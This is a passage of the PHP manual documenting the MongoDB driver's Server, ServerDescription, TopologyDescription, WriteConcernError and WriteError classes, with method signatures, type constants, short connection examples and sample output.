$rp = new MongoDB\Driver\ReadPreference('primary');
$server = $manager->selectServer($rp);

var_dump($server->getInfo());

?>

以上示例的输出类似于：

array(23) {
  ["helloOk"]=>
  bool(true)
  ["topologyVersion"]=>
  array(2) {
    ["processId"]=>
    object(MongoDB\BSON\ObjectId)#4 (1) {
      ["oid"]=>
      string(24) "617b6d696a3a89d2f77e6df0"
    }
    ["counter"]=>
    int(6)
  }
  ["hosts"]=>
  array(1) {
    [0]=>
    string(15) "localhost:27017"
  }
  ["setName"]=>
  string(3) "rs0"
  ["setVersion"]=>
  int(1)
  ["ismaster"]=>
  bool(true)
  ["secondary"]=>
  bool(false)
  ["primary"]=>
  string(15) "localhost:27017"
  ["me"]=>
  string(15) "localhost:27017"
  ["electionId"]=>
  object(MongoDB\BSON\ObjectId)#5 (1) {
    ["oid"]=>
    string(24) "7fffffff0000000000000001"
  }
  ["lastWrite"]=>
  array(4) {
    ["opTime"]=>
    array(2) {
      ["ts"]=>
      object(MongoDB\BSON\Timestamp)#6 (2) {
        ["increment"]=>
        string(1) "1"
        ["timestamp"]=>
        string(10) "1635478989"
      }
      ["t"]=>
      int(1)
    }
    ["lastWriteDate"]=>
    object(MongoDB\BSON\UTCDateTime)#7 (1) {
      ["milliseconds"]=>
      string(13) "1635478989000"
    }
    ["majorityOpTime"]=>
    array(2) {
      ["ts"]=>
      object(MongoDB\BSON\Timestamp)#8 (2) {
        ["increment"]=>
        string(1) "1"
        ["timestamp"]=>
        string(10) "1635478989"
      }
      ["t"]=>
      int(1)
    }
    ["majorityWriteDate"]=>
    object(MongoDB\BSON\UTCDateTime)#9 (1) {
      ["milliseconds"]=>
      string(13) "1635478989000"
    }
  }
  ["maxBsonObjectSize"]=>
  int(16777216)
  ["maxMessageSizeBytes"]=>
  int(48000000)
  ["maxWriteBatchSize"]=>
  int(100000)
  ["localTime"]=>
  object(MongoDB\BSON\UTCDateTime)#10 (1) {
    ["milliseconds"]=>
    string(13) "1635478992136"
  }
  ["logicalSessionTimeoutMinutes"]=>
  int(30)
  ["connectionId"]=>
  int(3)
  ["minWireVersion"]=>
  int(0)
  ["maxWireVersion"]=>
  int(13)
  ["readOnly"]=>
  bool(false)
  ["ok"]=>
  float(1)
  ["$clusterTime"]=>
  array(2) {
    ["clusterTime"]=>
    object(MongoDB\BSON\Timestamp)#11 (2) {
      ["increment"]=>
      string(1) "1"
      ["timestamp"]=>
      string(10) "1635478989"
    }
    ["signature"]=>
    array(2) {
      ["hash"]=>
      object(MongoDB\BSON\Binary)#12 (2) {
        ["data"]=>
        string(20) ""
        ["type"]=>
        int(0)
      }
      ["keyId"]=>
      int(0)
    }
  }
  ["operationTime"]=>
  object(MongoDB\BSON\Timestamp)#13 (2) {
    ["increment"]=>
    string(1) "1"
    ["timestamp"]=>
    string(10) "1635478989"
  }
}

更新日志

版本 | 说明
PECL mongodb 1.11.0 | When the driver is connected to a load balancer, this method returns the backing server's hello command response from the initial connection handshake.

参见

  • MongoDB\Driver\ServerDescription::getHelloResponse() - Returns the server's most recent "hello" response
  • » hello command in the MongoDB manual
  • » Server Discovery and Monitoring Specification

User Contributed Notes

There are no user contributed notes for this page.


Returns the latency of this server in milliseconds

  • ? MongoDB\Driver\Server::getInfo
  • MongoDB\Driver\Server::getPort ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns the latency of this server in milliseconds

MongoDB\Driver\Server::getLatency

(mongodb >=1.0.0)

MongoDB\Driver\Server::getLatency — Returns the latency of this server in milliseconds

说明

final public MongoDB\Driver\Server::getLatency(): ?integer

Returns the latency of this server in milliseconds. This is the client's measured » round trip time of a hello command.

参数

此函数没有参数。

返回值

Returns the latency of this server in milliseconds, or null if no latency has been measured (e.g. client is connected to a load balancer).

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

更新日志

版本 | 说明
PECL mongodb 1.11.0 | This method will return null if no latency has been measured. In earlier versions, an integer was always returned and an unset value might be reported as -1.

示例

Example #1 MongoDB\Driver\Server::getLatency() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getLatency());

?>

以上示例的输出类似于：

int(592)

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server
  • MongoDB\Driver\ServerDescription::getRoundTripTime() - Returns the server's round trip time in milliseconds
  • » Server Discovery and Monitoring Specification

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\Server::getLatency
  • MongoDB\Driver\Server::getServerDescription ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns the port on which this server is listening

MongoDB\Driver\Server::getPort

(mongodb >=1.0.0)

MongoDB\Driver\Server::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\Server::getPort(): int

Returns the port on which this server is listening.

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\Server::getPort() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://localhost:27017/");

$rp = new MongoDB\Driver\ReadPreference(MongoDB\Driver\ReadPreference::RP_PRIMARY);
$server = $manager->selectServer($rp);

var_dump($server->getPort());

?>

以上示例会输出：

int(27017)

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server
  • MongoDB\Driver\ServerDescription::getPort() - Returns the port on which this server is listening

User Contributed Notes

There are no user contributed notes for this page.


Returns a ServerDescription for this server

  • ? MongoDB\Driver\Server::getPort
  • MongoDB\Driver\Server::getTags ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns a ServerDescription for this server

MongoDB\Driver\Server::getServerDescription

(mongodb >=1.13.0)

MongoDB\Driver\Server::getServerDescription — Returns a ServerDescription for this server

说明

final public MongoDB\Driver\Server::getServerDescription(): MongoDB\Driver\ServerDescription

Returns a MongoDB\Driver\ServerDescription for this server. This is an immutable value object that will describe the server at the time this method is called.

参数

此函数没有参数。

返回值

Returns a MongoDB\Driver\ServerDescription for this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of tags describing this server in a replica set

  • ? MongoDB\Driver\Server::getServerDescription
  • MongoDB\Driver\Server::getType ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns an array of tags describing this server in a replica set

MongoDB\Driver\Server::getTags

(mongodb >=1.0.0)

MongoDB\Driver\Server::getTags — Returns an array of tags describing this server in a replica set

说明

final public MongoDB\Driver\Server::getTags(): array

Returns an array of » tags used to describe this server in a replica set. The array will contain zero or more string key and value pairs.

参数

此函数没有参数。

返回值

Returns an array of tags used to describe this server in a replica set.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server

User Contributed Notes

There are no user contributed notes for this page.


Returns an integer denoting the type of this server

  • ? MongoDB\Driver\Server::getTags
  • MongoDB\Driver\Server::isArbiter ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Returns an integer denoting the type of this server

MongoDB\Driver\Server::getType

(mongodb >=1.0.0)

MongoDB\Driver\Server::getType — Returns an integer denoting the type of this server

说明

final public MongoDB\Driver\Server::getType(): int

Returns an int denoting the type of this server. The value will correlate with a MongoDB\Driver\Server constant.

参数

此函数没有参数。

返回值

Returns an int denoting the type of this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server
  • MongoDB\Driver\ServerDescription::getType() - Returns a string denoting the type of this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is an arbiter member of a replica set

  • ? MongoDB\Driver\Server::getType
  • MongoDB\Driver\Server::isHidden ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is an arbiter member of a replica set

MongoDB\Driver\Server::isArbiter

(mongodb >=1.0.0)

MongoDB\Driver\Server::isArbiter — Checks if this server is an arbiter member of a replica set

说明

final public MongoDB\Driver\Server::isArbiter(): bool

Returns whether this server is an » arbiter member of a replica set.

参数

此函数没有参数。

返回值

Returns true if this server is an arbiter member of a replica set, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a hidden member of a replica set

  • ? MongoDB\Driver\Server::isArbiter
  • MongoDB\Driver\Server::isPassive ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a hidden member of a replica set

MongoDB\Driver\Server::isHidden

(mongodb >=1.0.0)

MongoDB\Driver\Server::isHidden — Checks if this server is a hidden member of a replica set

说明

final public MongoDB\Driver\Server::isHidden(): bool

Returns whether this server is a » hidden member of a replica set.

参数

此函数没有参数。

返回值

Returns true if this server is a hidden member of a replica set, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a passive member of a replica set

  • ? MongoDB\Driver\Server::isHidden
  • MongoDB\Driver\Server::isPrimary ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a passive member of a replica set

MongoDB\Driver\Server::isPassive

(mongodb >=1.0.0)

MongoDB\Driver\Server::isPassive — Checks if this server is a passive member of a replica set

说明

final public MongoDB\Driver\Server::isPassive(): bool

Returns whether this server is a » passive member of a replica set (i.e. its priority is 0).

参数

此函数没有参数。

返回值

Returns true if this server is a passive member of a replica set, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a primary member of a replica set

  • ? MongoDB\Driver\Server::isPassive
  • MongoDB\Driver\Server::isSecondary ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a primary member of a replica set

MongoDB\Driver\Server::isPrimary

(mongodb >=1.0.0)

MongoDB\Driver\Server::isPrimary — Checks if this server is a primary member of a replica set

说明

final public MongoDB\Driver\Server::isPrimary(): bool

Returns whether this server is a » primary member of a replica set.

参数

此函数没有参数。

返回值

Returns true if this server is a primary member of a replica set, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server

User Contributed Notes

There are no user contributed notes for this page.


Checks if this server is a secondary member of a replica set

  • ? MongoDB\Driver\Server::isPrimary
  • MongoDB\Driver\ServerDescription ?
  • PHP Manual
  • MongoDB\Driver\Server
  • Checks if this server is a secondary member of a replica set

MongoDB\Driver\Server::isSecondary

(mongodb >=1.0.0)

MongoDB\Driver\Server::isSecondary — Checks if this server is a secondary member of a replica set

说明

final public MongoDB\Driver\Server::isSecondary(): bool

Returns whether this server is a » secondary member of a replica set.

参数

此函数没有参数。

返回值

Returns true if this server is a secondary member of a replica set, and false otherwise.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\ServerDescription class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\ServerDescription class is a value object that represents a server to which the driver is connected. Instances of this class are returned by MongoDB\Driver\Server::getServerDescription() and MongoDB\Driver\Monitoring\ServerChangedEvent methods.

类摘要

final class MongoDB\Driver\ServerDescription {
/* 常量 */
const string TYPE_UNKNOWN = "Unknown";
const string TYPE_STANDALONE = "Standalone";
const string TYPE_MONGOS = "Mongos";
const string TYPE_POSSIBLE_PRIMARY = "PossiblePrimary";
const string TYPE_RS_PRIMARY = "RSPrimary";
const string TYPE_RS_SECONDARY = "RSSecondary";
const string TYPE_RS_ARBITER = "RSArbiter";
const string TYPE_RS_OTHER = "RSOther";
const string TYPE_RS_GHOST = "RSGhost";
const string TYPE_LOAD_BALANCER = "LoadBalancer";
/* 方法 */
final public getHelloResponse(): array
final public getHost(): string
final public getLastUpdateTime(): int
final public getPort(): int
final public getRoundTripTime(): ?int
final public getType(): string
}

预定义常量

MongoDB\Driver\ServerDescription::TYPE_UNKNOWN

Unknown server type, returned by MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_STANDALONE

Standalone server type, returned by MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_MONGOS

Mongos server type, returned by MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_POSSIBLE_PRIMARY

Replica set possible primary server type, returned by MongoDB\Driver\ServerDescription::getType().

A server may be identified as a possible primary if it has not yet been checked but another memory of the replica set thinks it is the primary.

MongoDB\Driver\ServerDescription::TYPE_RS_PRIMARY

Replica set primary server type, returned by MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_RS_SECONDARY

Replica set secondary server type, returned by MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_RS_ARBITER

Replica set arbiter server type, returned by MongoDB\Driver\ServerDescription::getType().

MongoDB\Driver\ServerDescription::TYPE_RS_OTHER

Replica set other server type, returned by MongoDB\Driver\ServerDescription::getType().

Such servers may be hidden, starting up, or recovering. They cannot be queried, but their hosts lists are useful for discovering the current replica set configuration.

MongoDB\Driver\ServerDescription::TYPE_RS_GHOST

Replica set ghost server type, returned by MongoDB\Driver\ServerDescription::getType().

Servers may be identified as such in at least three situations: briefly during server startup; in an uninitialized replica set; or when the server is shunned (i.e. removed from the replica set config). They cannot be queried, nor can their host list be used to discover the current replica set configuration; however, the client may monitor this server in hope that it transitions to a more useful state.

MongoDB\Driver\ServerDescription::TYPE_LOAD_BALANCER

Load balancer server type, returned by MongoDB\Driver\ServerDescription::getType().

Table of Contents

  • MongoDB\Driver\ServerDescription::getHelloResponse — Returns the server's most recent "hello" response
  • MongoDB\Driver\ServerDescription::getHost — Returns the hostname of this server
  • MongoDB\Driver\ServerDescription::getLastUpdateTime — Returns the server's last update time in microseconds
  • MongoDB\Driver\ServerDescription::getPort — Returns the port on which this server is listening
  • MongoDB\Driver\ServerDescription::getRoundTripTime — Returns the server's round trip time in milliseconds
  • MongoDB\Driver\ServerDescription::getType — Returns a string denoting the type of this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the server's most recent "hello" response

  • ? MongoDB\Driver\ServerDescription
  • MongoDB\Driver\ServerDescription::getHost ?
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Returns the server's most recent "hello" response

MongoDB\Driver\ServerDescription::getHelloResponse

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getHelloResponse — Returns the server's most recent "hello" response

说明

final public MongoDB\Driver\ServerDescription::getHelloResponse(): array

Returns an array of information describing the server. This array is derived from the most recent (at the time the MongoDB\Driver\ServerDescription was constructed) » hello command response obtained through » server monitoring.

Note:

When the driver is connected to a load balancer, this method will return an empty array since load balancers are not monitored. This is in contrast to MongoDB\Driver\Server::getInfo(), which would return the backing server's » hello command response from the initial connection handshake.

参数

此函数没有参数。

返回值

Returns an array of information describing this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getInfo() - Returns an array of information describing this server
  • » hello command in the MongoDB manual
  • » Server Discovery and Monitoring Specification

User Contributed Notes

There are no user contributed notes for this page.


Returns the hostname of this server

  • ? MongoDB\Driver\ServerDescription::getHelloResponse
  • MongoDB\Driver\ServerDescription::getLastUpdateTime ?
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Returns the hostname of this server

MongoDB\Driver\ServerDescription::getHost

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getHost — Returns the hostname of this server

说明

final public MongoDB\Driver\ServerDescription::getHost(): string

Returns the hostname of this server.

参数

此函数没有参数。

返回值

Returns the hostname of this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getHost() - Returns the hostname of this server

User Contributed Notes

There are no user contributed notes for this page.


Returns the server's last update time in microseconds

  • ? MongoDB\Driver\ServerDescription::getHost
  • MongoDB\Driver\ServerDescription::getPort ?
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Returns the server's last update time in microseconds

MongoDB\Driver\ServerDescription::getLastUpdateTime

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getLastUpdateTime — Returns the server's last update time in microseconds

说明

final public MongoDB\Driver\ServerDescription::getLastUpdateTime(): int

Returns the server's last update time in microseconds.

Note: The returned value is a monotonic timestamp, which starts at an arbitrary point. As such, it is only suitable to compare with other return values from MongoDB\Driver\ServerDescription::getLastUpdateTime().

参数

此函数没有参数。

返回值

Returns the server's last update time in microseconds.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns the port on which this server is listening

  • ? MongoDB\Driver\ServerDescription::getLastUpdateTime
  • MongoDB\Driver\ServerDescription::getRoundTripTime ?
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Returns the port on which this server is listening

MongoDB\Driver\ServerDescription::getPort

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getPort — Returns the port on which this server is listening

说明

final public MongoDB\Driver\ServerDescription::getPort(): int

Returns the port on which this server is listening.

参数

此函数没有参数。

返回值

Returns the port on which this server is listening.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getPort() - Returns the port on which this server is listening

User Contributed Notes

There are no user contributed notes for this page.


Returns the server's round trip time in milliseconds

  • ? MongoDB\Driver\ServerDescription::getPort
  • MongoDB\Driver\ServerDescription::getType ?
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Returns the server's round trip time in milliseconds

MongoDB\Driver\ServerDescription::getRoundTripTime

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getRoundTripTime — Returns the server's round trip time in milliseconds

说明

final public MongoDB\Driver\ServerDescription::getRoundTripTime(): ?int

Returns the server's round trip time in milliseconds. This is the client's measurement of the duration of a » hello command.

参数

此函数没有参数。

返回值

Returns the server's round trip time in milliseconds.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getLatency() - Returns the latency of this server in milliseconds

User Contributed Notes

There are no user contributed notes for this page.


Returns a string denoting the type of this server

  • ? MongoDB\Driver\ServerDescription::getRoundTripTime
  • MongoDB\Driver\TopologyDescription ?
  • PHP Manual
  • MongoDB\Driver\ServerDescription
  • Returns a string denoting the type of this server

MongoDB\Driver\ServerDescription::getType

(mongodb >=1.13.0)

MongoDB\Driver\ServerDescription::getType — Returns a string denoting the type of this server

说明

final public MongoDB\Driver\ServerDescription::getType(): string

Returns a string denoting the type of this server. The value will correlate with a MongoDB\Driver\ServerDescription constant.

参数

此函数没有参数。

返回值

Returns a string denoting the type of this server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\Driver\Server::getType() - Returns an integer denoting the type of this server

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\TopologyDescription class

(mongodb >=1.13.0)

简介

The MongoDB\Driver\TopologyDescription class is a value object that represents a topology to which the driver is connected. Instances of this class are returned by MongoDB\Driver\Monitoring\TopologyChangedEvent methods.

类摘要

final class MongoDB\Driver\TopologyDescription {
/* 常量 */
const string TYPE_UNKNOWN = "Unknown";
const string TYPE_SINGLE = "Single";
const string TYPE_SHARDED = "Sharded";
const string TYPE_REPLICA_SET_NO_PRIMARY = "ReplicaSetNoPrimary";
const string TYPE_REPLICA_SET_WITH_PRIMARY = "ReplicaSetWithPrimary";
const string TYPE_LOAD_BALANCED = "LoadBalanced";
/* 方法 */
final public getServers(): array
final public getType(): string
final public hasReadableServer(?MongoDB\Driver\ReadPreference $readPreference = null): bool
final public hasWritableServer(): bool
}

预定义常量

MongoDB\Driver\TopologyDescription::TYPE_UNKNOWN

Unknown topology type, returned by MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_SINGLE

Single server (i.e. direct connection), returned by MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_SHARDED

Sharded cluster, returned by MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_REPLICA_SET_NO_PRIMARY

Replica set with no primary server, returned by MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_REPLICA_SET_WITH_PRIMARY

Replica set with a primary server, returned by MongoDB\Driver\TopologyDescription::getType().

MongoDB\Driver\TopologyDescription::TYPE_LOAD_BALANCED

Load balanced topology, returned by MongoDB\Driver\TopologyDescription::getType().

Table of Contents

  • MongoDB\Driver\TopologyDescription::getServers — Returns the servers in the topology
  • MongoDB\Driver\TopologyDescription::getType — Returns a string denoting the type of this topology
  • MongoDB\Driver\TopologyDescription::hasReadableServer — Returns whether the topology has a readable server
  • MongoDB\Driver\TopologyDescription::hasWritableServer — Returns whether the topology has a writable server

User Contributed Notes

There are no user contributed notes for this page.


Returns the servers in the topology

  • ? MongoDB\Driver\TopologyDescription
  • MongoDB\Driver\TopologyDescription::getType ?
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Returns the servers in the topology

MongoDB\Driver\TopologyDescription::getServers

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::getServers — Returns the servers in the topology

说明

final public MongoDB\Driver\TopologyDescription::getServers(): array

Returns an array of MongoDB\Driver\ServerDescription objects corresponding to the known servers in the topology.

参数

此函数没有参数。

返回值

Returns an array of MongoDB\Driver\ServerDescription objects corresponding to the known servers in the topology.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns a string denoting the type of this topology

  • ? MongoDB\Driver\TopologyDescription::getServers
  • MongoDB\Driver\TopologyDescription::hasReadableServer ?
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Returns a string denoting the type of this topology

MongoDB\Driver\TopologyDescription::getType

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::getType — Returns a string denoting the type of this topology

说明

final public MongoDB\Driver\TopologyDescription::getType(): string

Returns a string denoting the type of this topology. The value will correlate with a MongoDB\Driver\TopologyDescription constant.

参数

此函数没有参数。

返回值

Returns a string denoting the type of this topology.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the topology has a readable server

  • ? MongoDB\Driver\TopologyDescription::getType
  • MongoDB\Driver\TopologyDescription::hasWritableServer ?
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Returns whether the topology has a readable server

MongoDB\Driver\TopologyDescription::hasReadableServer

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::hasReadableServer — Returns whether the topology has a readable server

说明

final public MongoDB\Driver\TopologyDescription::hasReadableServer(?MongoDB\Driver\ReadPreference $readPreference = null): bool

Returns whether the topology has a readable server or, if readPreference is specified, a server matching the specified read preference.

参数

此函数没有参数。

返回值

Returns whether the topology has a readable server or, if readPreference is specified, a server matching the specified read preference.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the topology has a writable server

  • ? MongoDB\Driver\TopologyDescription::hasReadableServer
  • MongoDB\Driver\WriteConcernError ?
  • PHP Manual
  • MongoDB\Driver\TopologyDescription
  • Returns whether the topology has a writable server

MongoDB\Driver\TopologyDescription::hasWritableServer

(mongodb >=1.13.0)

MongoDB\Driver\TopologyDescription::hasWritableServer — Returns whether the topology has a writable server

说明

final public MongoDB\Driver\TopologyDescription::hasWritableServer(): bool

Returns whether the topology has a writable server.

参数

此函数没有参数。

返回值

Returns whether the topology has a writable server.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteConcernError class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\WriteConcernError class encapsulates information about a write concern error and may be returned by MongoDB\Driver\WriteResult::getWriteConcernError().

类摘要

final class MongoDB\Driver\WriteConcernError {
/* 方法 */
final public getCode(): int
final public getInfo(): ?object
final public getMessage(): string
}

Table of Contents

  • MongoDB\Driver\WriteConcernError::getCode — Returns the WriteConcernError's error code
  • MongoDB\Driver\WriteConcernError::getInfo — Returns metadata document for the WriteConcernError
  • MongoDB\Driver\WriteConcernError::getMessage — Returns the WriteConcernError's error message

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcernError's error code

  • ? MongoDB\Driver\WriteConcernError
  • MongoDB\Driver\WriteConcernError::getInfo ?
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Returns the WriteConcernError's error code

MongoDB\Driver\WriteConcernError::getCode

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getCode — Returns the WriteConcernError's error code

说明

final public MongoDB\Driver\WriteConcernError::getCode(): int

参数

此函数没有参数。

返回值

Returns the WriteConcernError's error code.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcernError::getCode() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError()->getCode());
}

?>

以上示例的输出类似于：

int(64)

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns metadata document for the WriteConcernError

  • ? MongoDB\Driver\WriteConcernError::getCode
  • MongoDB\Driver\WriteConcernError::getMessage ?
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Returns metadata document for the WriteConcernError

MongoDB\Driver\WriteConcernError::getInfo

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getInfo — Returns metadata document for the WriteConcernError

说明

final public MongoDB\Driver\WriteConcernError::getInfo(): ?object

参数

此函数没有参数。

返回值

Returns the metadata document for the WriteConcernError, or null if no metadata is available.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcernError::getInfo() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError()->getInfo());
}

?>

以上示例的输出类似于：

object(stdClass)#1 (1) {
  ["wtimeout"]=>
  bool(true)
}

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteConcernError's error message

  • ? MongoDB\Driver\WriteConcernError::getInfo
  • MongoDB\Driver\WriteError ?
  • PHP Manual
  • MongoDB\Driver\WriteConcernError
  • Returns the WriteConcernError's error message

MongoDB\Driver\WriteConcernError::getMessage

(mongodb >=1.0.0)

MongoDB\Driver\WriteConcernError::getMessage — Returns the WriteConcernError's error message

说明

final public MongoDB\Driver\WriteConcernError::getMessage(): string

参数

此函数没有参数。

返回值

Returns the WriteConcernError's error message.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

示例

Example #1 MongoDB\Driver\WriteConcernError::getMessage() example

<?php

$manager = new MongoDB\Driver\Manager("mongodb://rs1.example.com,rs2.example.com/?replicaSet=myReplicaSet");

$bulk = new MongoDB\Driver\BulkWrite;
$bulk->insert(['x' => 1]);

$writeConcern = new MongoDB\Driver\WriteConcern(2, 1);

try {
$manager->executeBulkWrite('db.collection', $bulk, $writeConcern);
} catch(MongoDB\Driver\Exception\BulkWriteException $e) {
var_dump($e->getWriteResult()->getWriteConcernError()->getMessage());
}

?>

以上示例的输出类似于：

string(33) "waiting for replication timed out"

参见

  • » Write Concern reference

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\Driver\WriteError class

(mongodb >=1.0.0)

简介

The MongoDB\Driver\WriteError class encapsulates information about a write error and may be returned as an array element from MongoDB\Driver\WriteResult::getWriteErrors().

类摘要

final class MongoDB\Driver\WriteError {
/* 方法 */
final public getCode(): int
final public getIndex(): int
final public getInfo(): ?object
final public getMessage(): string
}

Table of Contents

  • MongoDB\Driver\WriteError::getCode — Returns the WriteError's error code
  • MongoDB\Driver\WriteError::getIndex — Returns the index of the write operation corresponding to this WriteError
  • MongoDB\Driver\WriteError::getInfo — Returns metadata document for the WriteError
  • MongoDB\Driver\WriteError::getMessage — Returns the WriteError's error message

User Contributed Notes

There are no user contributed notes for this page.


Returns the WriteError's error code

  • ? MongoDB\Driver\WriteError
  • MongoDB\Driver\WriteError::getIndex ?
  • PHP Manual
  • MongoDB\Driver\WriteError
